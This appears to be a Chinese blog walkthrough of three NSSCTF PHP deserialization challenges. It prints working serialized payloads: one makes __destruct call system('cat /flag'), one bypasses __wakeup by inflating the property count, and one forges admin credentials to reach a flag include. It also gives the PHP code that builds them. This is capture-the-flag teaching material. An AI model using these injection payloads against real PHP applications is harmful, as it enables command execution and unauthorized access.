NSSCTF

文章讨论了PHP中利用恶意序列化构造函数和__destruct方法进行命令注入,以及如何通过ez_unserialize绕过__wakeup魔术方法的实例。还涉及到了一个登录验证的场景,展示了如何利用序列化来触发特定条件并获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1z_unserialize  

可以通过构造一个恶意的序列化对象,将自定义的函数传递给 $lt 属性,然后将要执行的代码(或者指向一个恶意代码文件的路径)传递给 $lly 属性。当对象被序列化后再被反序列化时,__destruct 方法会被自动调用,从而执行指定的恶意操作。 这一题的注入点只要传参把$a变成system();$this->lly变成ls或者cat就是一个简单的命令注入了

  nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

ez_ez_unserialize  

绕过__wakeup()魔术方法检测,把成员数改成大于实际数量

<?php class X { public $x ='fllllllag.php'; } $a=new X(); print_r(serialize($a)); ?>

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

将其修改为x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

ez_unserialize  

发现没有题目,使用御剑进行扫描

访问robots.txt文件

访问之后是源码 

只需要满足  ($this->admin === "admin" && $this->passwd === "ctf")

即admin="admin",passwd="ctf"

<?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }
 
        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}
   
$w=new wllm();
$w->admin="admin";
$w->passwd="ctf";
$w=serialize($w);
echo $w;

?>

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值